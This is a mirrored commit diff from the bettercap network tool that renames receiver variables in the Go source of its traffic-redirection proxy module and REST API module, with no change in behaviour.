mirror of
https://github.com/bettercap/bettercap
synced 2025-07-16 10:03:39 -07:00
misc: small fix or general refactoring i did not bother commenting
This commit is contained in:
parent
bf3671465b
commit
4eead7eafa
58 changed files with 2052 additions and 2052 deletions
|
@ -11,66 +11,66 @@ type AnyProxy struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewAnyProxy(s *session.Session) *AnyProxy {
|
func NewAnyProxy(s *session.Session) *AnyProxy {
|
||||||
p := &AnyProxy{
|
mod := &AnyProxy{
|
||||||
SessionModule: session.NewSessionModule("any.proxy", s),
|
SessionModule: session.NewSessionModule("any.proxy", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("any.proxy.iface",
|
mod.AddParam(session.NewStringParameter("any.proxy.iface",
|
||||||
session.ParamIfaceName,
|
session.ParamIfaceName,
|
||||||
"",
|
"",
|
||||||
"Interface to redirect packets from."))
|
"Interface to redirect packets from."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("any.proxy.protocol",
|
mod.AddParam(session.NewStringParameter("any.proxy.protocol",
|
||||||
"TCP",
|
"TCP",
|
||||||
"(TCP|UDP)",
|
"(TCP|UDP)",
|
||||||
"Proxy protocol."))
|
"Proxy protocol."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("any.proxy.src_port",
|
mod.AddParam(session.NewIntParameter("any.proxy.src_port",
|
||||||
"80",
|
"80",
|
||||||
"Remote port to redirect when the module is activated."))
|
"Remote port to redirect when the module is activated."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("any.proxy.src_address",
|
mod.AddParam(session.NewStringParameter("any.proxy.src_address",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Leave empty to intercept any source address."))
|
"Leave empty to intercept any source address."))
|
||||||
|
|
||||||
p.AddParam(session.NewStringParameter("any.proxy.dst_address",
|
mod.AddParam(session.NewStringParameter("any.proxy.dst_address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address where the proxy is listening."))
|
"Address where the proxy is listening."))
|
||||||
|
|
||||||
p.AddParam(session.NewIntParameter("any.proxy.dst_port",
|
mod.AddParam(session.NewIntParameter("any.proxy.dst_port",
|
||||||
"8080",
|
"8080",
|
||||||
"Port where the proxy is listening."))
|
"Port where the proxy is listening."))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("any.proxy on", "",
|
mod.AddHandler(session.NewModuleHandler("any.proxy on", "",
|
||||||
"Start the custom proxy redirection.",
|
"Start the custom proxy redirection.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
p.AddHandler(session.NewModuleHandler("any.proxy off", "",
|
mod.AddHandler(session.NewModuleHandler("any.proxy off", "",
|
||||||
"Stop the custom proxy redirection.",
|
"Stop the custom proxy redirection.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return p.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return p
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Name() string {
|
func (mod *AnyProxy) Name() string {
|
||||||
return "any.proxy"
|
return "any.proxy"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Description() string {
|
func (mod *AnyProxy) Description() string {
|
||||||
return "A firewall redirection to any custom proxy."
|
return "A firewall redirection to any custom proxy."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Author() string {
|
func (mod *AnyProxy) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Configure() error {
|
func (mod *AnyProxy) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var srcPort int
|
var srcPort int
|
||||||
var dstPort int
|
var dstPort int
|
||||||
|
@ -79,62 +79,62 @@ func (p *AnyProxy) Configure() error {
|
||||||
var srcAddress string
|
var srcAddress string
|
||||||
var dstAddress string
|
var dstAddress string
|
||||||
|
|
||||||
if p.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, iface = p.StringParam("any.proxy.iface"); err != nil {
|
} else if err, iface = mod.StringParam("any.proxy.iface"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, protocol = p.StringParam("any.proxy.protocol"); err != nil {
|
} else if err, protocol = mod.StringParam("any.proxy.protocol"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, srcPort = p.IntParam("any.proxy.src_port"); err != nil {
|
} else if err, srcPort = mod.IntParam("any.proxy.src_port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, dstPort = p.IntParam("any.proxy.dst_port"); err != nil {
|
} else if err, dstPort = mod.IntParam("any.proxy.dst_port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, srcAddress = p.StringParam("any.proxy.src_address"); err != nil {
|
} else if err, srcAddress = mod.StringParam("any.proxy.src_address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, dstAddress = p.StringParam("any.proxy.dst_address"); err != nil {
|
} else if err, dstAddress = mod.StringParam("any.proxy.dst_address"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if !p.Session.Firewall.IsForwardingEnabled() {
|
if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
p.Info("Enabling forwarding.")
|
mod.Info("Enabling forwarding.")
|
||||||
p.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Redirection = firewall.NewRedirection(iface,
|
mod.Redirection = firewall.NewRedirection(iface,
|
||||||
protocol,
|
protocol,
|
||||||
srcPort,
|
srcPort,
|
||||||
dstAddress,
|
dstAddress,
|
||||||
dstPort)
|
dstPort)
|
||||||
|
|
||||||
if srcAddress != "" {
|
if srcAddress != "" {
|
||||||
p.Redirection.SrcAddress = srcAddress
|
mod.Redirection.SrcAddress = srcAddress
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := p.Session.Firewall.EnableRedirection(p.Redirection, true); err != nil {
|
if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, true); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Info("Applied redirection %s", p.Redirection.String())
|
mod.Info("Applied redirection %s", mod.Redirection.String())
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Start() error {
|
func (mod *AnyProxy) Start() error {
|
||||||
if err := p.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(true, func() {})
|
return mod.SetRunning(true, func() {})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *AnyProxy) Stop() error {
|
func (mod *AnyProxy) Stop() error {
|
||||||
if p.Redirection != nil {
|
if mod.Redirection != nil {
|
||||||
p.Info("Disabling redirection %s", p.Redirection.String())
|
mod.Info("Disabling redirection %s", mod.Redirection.String())
|
||||||
if err := p.Session.Firewall.EnableRedirection(p.Redirection, false); err != nil {
|
if err := mod.Session.Firewall.EnableRedirection(mod.Redirection, false); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
p.Redirection = nil
|
mod.Redirection = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
return p.SetRunning(false, func() {})
|
return mod.SetRunning(false, func() {})
|
||||||
}
|
}
|
||||||
|
|
|
@ -29,7 +29,7 @@ type RestAPI struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRestAPI(s *session.Session) *RestAPI {
|
func NewRestAPI(s *session.Session) *RestAPI {
|
||||||
api := &RestAPI{
|
mod := &RestAPI{
|
||||||
SessionModule: session.NewSessionModule("api.rest", s),
|
SessionModule: session.NewSessionModule("api.rest", s),
|
||||||
server: &http.Server{},
|
server: &http.Server{},
|
||||||
quit: make(chan bool),
|
quit: make(chan bool),
|
||||||
|
@ -41,59 +41,59 @@ func NewRestAPI(s *session.Session) *RestAPI {
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.address",
|
mod.AddParam(session.NewStringParameter("api.rest.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"Address to bind the API REST server to."))
|
"Address to bind the API REST server to."))
|
||||||
|
|
||||||
api.AddParam(session.NewIntParameter("api.rest.port",
|
mod.AddParam(session.NewIntParameter("api.rest.port",
|
||||||
"8081",
|
"8081",
|
||||||
"Port to bind the API REST server to."))
|
"Port to bind the API REST server to."))
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.alloworigin",
|
mod.AddParam(session.NewStringParameter("api.rest.alloworigin",
|
||||||
api.allowOrigin,
|
mod.allowOrigin,
|
||||||
"",
|
"",
|
||||||
"Value of the Access-Control-Allow-Origin header of the API server."))
|
"Value of the Access-Control-Allow-Origin header of the API server."))
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.username",
|
mod.AddParam(session.NewStringParameter("api.rest.username",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"API authentication username."))
|
"API authentication username."))
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.password",
|
mod.AddParam(session.NewStringParameter("api.rest.password",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"API authentication password."))
|
"API authentication password."))
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.certificate",
|
mod.AddParam(session.NewStringParameter("api.rest.certificate",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"API TLS certificate."))
|
"API TLS certificate."))
|
||||||
|
|
||||||
tls.CertConfigToModule("api.rest", &api.SessionModule, tls.DefaultLegitConfig)
|
tls.CertConfigToModule("api.rest", &mod.SessionModule, tls.DefaultLegitConfig)
|
||||||
|
|
||||||
api.AddParam(session.NewStringParameter("api.rest.key",
|
mod.AddParam(session.NewStringParameter("api.rest.key",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"API TLS key"))
|
"API TLS key"))
|
||||||
|
|
||||||
api.AddParam(session.NewBoolParameter("api.rest.websocket",
|
mod.AddParam(session.NewBoolParameter("api.rest.websocket",
|
||||||
"false",
|
"false",
|
||||||
"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
|
"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
|
||||||
|
|
||||||
api.AddHandler(session.NewModuleHandler("api.rest on", "",
|
mod.AddHandler(session.NewModuleHandler("api.rest on", "",
|
||||||
"Start REST API server.",
|
"Start REST API server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return api.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
api.AddHandler(session.NewModuleHandler("api.rest off", "",
|
mod.AddHandler(session.NewModuleHandler("api.rest off", "",
|
||||||
"Stop REST API server.",
|
"Stop REST API server.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return api.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return api
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
type JSSessionRequest struct {
|
type JSSessionRequest struct {
|
||||||
|
@ -104,113 +104,113 @@ type JSSessionResponse struct {
|
||||||
Error string `json:"error"`
|
Error string `json:"error"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Name() string {
|
func (mod *RestAPI) Name() string {
|
||||||
return "api.rest"
|
return "api.rest"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Description() string {
|
func (mod *RestAPI) Description() string {
|
||||||
return "Expose a RESTful API."
|
return "Expose a RESTful API."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Author() string {
|
func (mod *RestAPI) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) isTLS() bool {
|
func (mod *RestAPI) isTLS() bool {
|
||||||
return api.certFile != "" && api.keyFile != ""
|
return mod.certFile != "" && mod.keyFile != ""
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Configure() error {
|
func (mod *RestAPI) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var ip string
|
var ip string
|
||||||
var port int
|
var port int
|
||||||
|
|
||||||
if api.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, ip = api.StringParam("api.rest.address"); err != nil {
|
} else if err, ip = mod.StringParam("api.rest.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, port = api.IntParam("api.rest.port"); err != nil {
|
} else if err, port = mod.IntParam("api.rest.port"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.allowOrigin = api.StringParam("api.rest.alloworigin"); err != nil {
|
} else if err, mod.allowOrigin = mod.StringParam("api.rest.alloworigin"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.certFile = api.StringParam("api.rest.certificate"); err != nil {
|
} else if err, mod.certFile = mod.StringParam("api.rest.certificate"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if api.certFile, err = fs.Expand(api.certFile); err != nil {
|
} else if mod.certFile, err = fs.Expand(mod.certFile); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.keyFile = api.StringParam("api.rest.key"); err != nil {
|
} else if err, mod.keyFile = mod.StringParam("api.rest.key"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if api.keyFile, err = fs.Expand(api.keyFile); err != nil {
|
} else if mod.keyFile, err = fs.Expand(mod.keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.username = api.StringParam("api.rest.username"); err != nil {
|
} else if err, mod.username = mod.StringParam("api.rest.username"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.password = api.StringParam("api.rest.password"); err != nil {
|
} else if err, mod.password = mod.StringParam("api.rest.password"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, api.useWebsocket = api.BoolParam("api.rest.websocket"); err != nil {
|
} else if err, mod.useWebsocket = mod.BoolParam("api.rest.websocket"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if api.isTLS() {
|
if mod.isTLS() {
|
||||||
if !fs.Exists(api.certFile) || !fs.Exists(api.keyFile) {
|
if !fs.Exists(mod.certFile) || !fs.Exists(mod.keyFile) {
|
||||||
err, cfg := tls.CertConfigFromModule("api.rest", api.SessionModule)
|
err, cfg := tls.CertConfigFromModule("api.rest", mod.SessionModule)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
api.Debug("%+v", cfg)
|
mod.Debug("%+v", cfg)
|
||||||
api.Info("generating TLS key to %s", api.keyFile)
|
mod.Info("generating TLS key to %s", mod.keyFile)
|
||||||
api.Info("generating TLS certificate to %s", api.certFile)
|
mod.Info("generating TLS certificate to %s", mod.certFile)
|
||||||
if err := tls.Generate(cfg, api.certFile, api.keyFile); err != nil {
|
if err := tls.Generate(cfg, mod.certFile, mod.keyFile); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
api.Info("loading TLS key from %s", api.keyFile)
|
mod.Info("loading TLS key from %s", mod.keyFile)
|
||||||
api.Info("loading TLS certificate from %s", api.certFile)
|
mod.Info("loading TLS certificate from %s", mod.certFile)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
api.server.Addr = fmt.Sprintf("%s:%d", ip, port)
|
mod.server.Addr = fmt.Sprintf("%s:%d", ip, port)
|
||||||
|
|
||||||
router := mux.NewRouter()
|
router := mux.NewRouter()
|
||||||
|
|
||||||
router.HandleFunc("/api/events", api.eventsRoute)
|
router.HandleFunc("/api/events", mod.eventsRoute)
|
||||||
router.HandleFunc("/api/session", api.sessionRoute)
|
router.HandleFunc("/api/session", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/ble", api.sessionRoute)
|
router.HandleFunc("/api/session/ble", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/ble/{mac}", api.sessionRoute)
|
router.HandleFunc("/api/session/ble/{mac}", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/env", api.sessionRoute)
|
router.HandleFunc("/api/session/env", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/gateway", api.sessionRoute)
|
router.HandleFunc("/api/session/gateway", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/interface", api.sessionRoute)
|
router.HandleFunc("/api/session/interface", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/modules", api.sessionRoute)
|
router.HandleFunc("/api/session/modules", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/lan", api.sessionRoute)
|
router.HandleFunc("/api/session/lan", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/lan/{mac}", api.sessionRoute)
|
router.HandleFunc("/api/session/lan/{mac}", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/options", api.sessionRoute)
|
router.HandleFunc("/api/session/options", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/packets", api.sessionRoute)
|
router.HandleFunc("/api/session/packets", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/started-at", api.sessionRoute)
|
router.HandleFunc("/api/session/started-at", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/wifi", api.sessionRoute)
|
router.HandleFunc("/api/session/wifi", mod.sessionRoute)
|
||||||
router.HandleFunc("/api/session/wifi/{mac}", api.sessionRoute)
|
router.HandleFunc("/api/session/wifi/{mac}", mod.sessionRoute)
|
||||||
|
|
||||||
api.server.Handler = router
|
mod.server.Handler = router
|
||||||
|
|
||||||
if api.username == "" || api.password == "" {
|
if mod.username == "" || mod.password == "" {
|
||||||
api.Warning("api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.")
|
mod.Warning("api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.")
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Start() error {
|
func (mod *RestAPI) Start() error {
|
||||||
if err := api.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
api.SetRunning(true, func() {
|
mod.SetRunning(true, func() {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
if api.isTLS() {
|
if mod.isTLS() {
|
||||||
api.Info("api server starting on https://%s", api.server.Addr)
|
mod.Info("api server starting on https://%s", mod.server.Addr)
|
||||||
err = api.server.ListenAndServeTLS(api.certFile, api.keyFile)
|
err = mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile)
|
||||||
} else {
|
} else {
|
||||||
api.Info("api server starting on http://%s", api.server.Addr)
|
mod.Info("api server starting on http://%s", mod.server.Addr)
|
||||||
err = api.server.ListenAndServe()
|
err = mod.server.ListenAndServe()
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil && err != http.ErrServerClosed {
|
if err != nil && err != http.ErrServerClosed {
|
||||||
|
@ -221,14 +221,14 @@ func (api *RestAPI) Start() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) Stop() error {
|
func (mod *RestAPI) Stop() error {
|
||||||
return api.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
go func() {
|
go func() {
|
||||||
api.quit <- true
|
mod.quit <- true
|
||||||
}()
|
}()
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
api.server.Shutdown(ctx)
|
mod.server.Shutdown(ctx)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -21,116 +21,116 @@ type APIResponse struct {
|
||||||
Message string `json:"msg"`
|
Message string `json:"msg"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) setAuthFailed(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) setAuthFailed(w http.ResponseWriter, r *http.Request) {
|
||||||
api.Warning("Unauthorized authentication attempt from %s", r.RemoteAddr)
|
mod.Warning("Unauthorized authentication attempt from %s", r.RemoteAddr)
|
||||||
|
|
||||||
w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
|
w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
|
||||||
w.WriteHeader(401)
|
w.WriteHeader(401)
|
||||||
w.Write([]byte("Unauthorized"))
|
w.Write([]byte("Unauthorized"))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) toJSON(w http.ResponseWriter, o interface{}) {
|
func (mod *RestAPI) toJSON(w http.ResponseWriter, o interface{}) {
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
if err := json.NewEncoder(w).Encode(o); err != nil {
|
if err := json.NewEncoder(w).Encode(o); err != nil {
|
||||||
api.Error("error while encoding object to JSON: %v", err)
|
mod.Error("error while encoding object to JSON: %v", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) setSecurityHeaders(w http.ResponseWriter) {
|
func (mod *RestAPI) setSecurityHeaders(w http.ResponseWriter) {
|
||||||
w.Header().Add("X-Frame-Options", "DENY")
|
w.Header().Add("X-Frame-Options", "DENY")
|
||||||
w.Header().Add("X-Content-Type-Options", "nosniff")
|
w.Header().Add("X-Content-Type-Options", "nosniff")
|
||||||
w.Header().Add("X-XSS-Protection", "1; mode=block")
|
w.Header().Add("X-XSS-Protection", "1; mode=block")
|
||||||
w.Header().Add("Referrer-Policy", "same-origin")
|
w.Header().Add("Referrer-Policy", "same-origin")
|
||||||
w.Header().Set("Access-Control-Allow-Origin", api.allowOrigin)
|
w.Header().Set("Access-Control-Allow-Origin", mod.allowOrigin)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) checkAuth(r *http.Request) bool {
|
func (mod *RestAPI) checkAuth(r *http.Request) bool {
|
||||||
if api.username != "" && api.password != "" {
|
if mod.username != "" && mod.password != "" {
|
||||||
user, pass, _ := r.BasicAuth()
|
user, pass, _ := r.BasicAuth()
|
||||||
// timing attack my ass
|
// timing attack my ass
|
||||||
if subtle.ConstantTimeCompare([]byte(user), []byte(api.username)) != 1 {
|
if subtle.ConstantTimeCompare([]byte(user), []byte(mod.username)) != 1 {
|
||||||
return false
|
return false
|
||||||
} else if subtle.ConstantTimeCompare([]byte(pass), []byte(api.password)) != 1 {
|
} else if subtle.ConstantTimeCompare([]byte(pass), []byte(mod.password)) != 1 {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I)
|
mod.toJSON(w, session.I)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showBle(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showBle(w http.ResponseWriter, r *http.Request) {
|
||||||
params := mux.Vars(r)
|
params := mux.Vars(r)
|
||||||
mac := strings.ToLower(params["mac"])
|
mac := strings.ToLower(params["mac"])
|
||||||
|
|
||||||
if mac == "" {
|
if mac == "" {
|
||||||
api.toJSON(w, session.I.BLE)
|
mod.toJSON(w, session.I.BLE)
|
||||||
} else if dev, found := session.I.BLE.Get(mac); found {
|
} else if dev, found := session.I.BLE.Get(mac); found {
|
||||||
api.toJSON(w, dev)
|
mod.toJSON(w, dev)
|
||||||
} else {
|
} else {
|
||||||
http.Error(w, "Not Found", 404)
|
http.Error(w, "Not Found", 404)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Env)
|
mod.toJSON(w, session.I.Env)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showGateway(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Gateway)
|
mod.toJSON(w, session.I.Gateway)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showInterface(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Interface)
|
mod.toJSON(w, session.I.Interface)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showModules(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showModules(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Modules)
|
mod.toJSON(w, session.I.Modules)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showLan(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showLan(w http.ResponseWriter, r *http.Request) {
|
||||||
params := mux.Vars(r)
|
params := mux.Vars(r)
|
||||||
mac := strings.ToLower(params["mac"])
|
mac := strings.ToLower(params["mac"])
|
||||||
|
|
||||||
if mac == "" {
|
if mac == "" {
|
||||||
api.toJSON(w, session.I.Lan)
|
mod.toJSON(w, session.I.Lan)
|
||||||
} else if host, found := session.I.Lan.Get(mac); found {
|
} else if host, found := session.I.Lan.Get(mac); found {
|
||||||
api.toJSON(w, host)
|
mod.toJSON(w, host)
|
||||||
} else {
|
} else {
|
||||||
http.Error(w, "Not Found", 404)
|
http.Error(w, "Not Found", 404)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showOptions(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Options)
|
mod.toJSON(w, session.I.Options)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showPackets(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.Queue)
|
mod.toJSON(w, session.I.Queue)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showStartedAt(w http.ResponseWriter, r *http.Request) {
|
||||||
api.toJSON(w, session.I.StartedAt)
|
mod.toJSON(w, session.I.StartedAt)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showWiFi(w http.ResponseWriter, r *http.Request) {
|
||||||
params := mux.Vars(r)
|
params := mux.Vars(r)
|
||||||
mac := strings.ToLower(params["mac"])
|
mac := strings.ToLower(params["mac"])
|
||||||
|
|
||||||
if mac == "" {
|
if mac == "" {
|
||||||
api.toJSON(w, session.I.WiFi)
|
mod.toJSON(w, session.I.WiFi)
|
||||||
} else if station, found := session.I.WiFi.Get(mac); found {
|
} else if station, found := session.I.WiFi.Get(mac); found {
|
||||||
api.toJSON(w, station)
|
mod.toJSON(w, station)
|
||||||
} else if client, found := session.I.WiFi.GetClient(mac); found {
|
} else if client, found := session.I.WiFi.GetClient(mac); found {
|
||||||
api.toJSON(w, client)
|
mod.toJSON(w, client)
|
||||||
} else {
|
} else {
|
||||||
http.Error(w, "Not Found", 404)
|
http.Error(w, "Not Found", 404)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
|
||||||
var err error
|
var err error
|
||||||
var cmd CommandRequest
|
var cmd CommandRequest
|
||||||
|
|
||||||
|
@ -141,15 +141,15 @@ func (api *RestAPI) runSessionCommand(w http.ResponseWriter, r *http.Request) {
|
||||||
} else if err = session.I.Run(cmd.Command); err != nil {
|
} else if err = session.I.Run(cmd.Command); err != nil {
|
||||||
http.Error(w, err.Error(), 400)
|
http.Error(w, err.Error(), 400)
|
||||||
} else {
|
} else {
|
||||||
api.toJSON(w, APIResponse{Success: true})
|
mod.toJSON(w, APIResponse{Success: true})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (api *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
|
func (mod *RestAPI) showEvents(w http.ResponseWriter, r *http.Request) {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
if api.useWebsocket {
|
if mod.useWebsocket {
|
||||||
api.startStreamingEvents(w, r)
|
mod.startStreamingEvents(w, r)
|
||||||
} else {
|
} else {
|
||||||
events := session.I.Events.Sorted()
|
events := session.I.Events.Sorted()
|
||||||
nevents := len(events)
|
nevents := len(events)
|
||||||
|
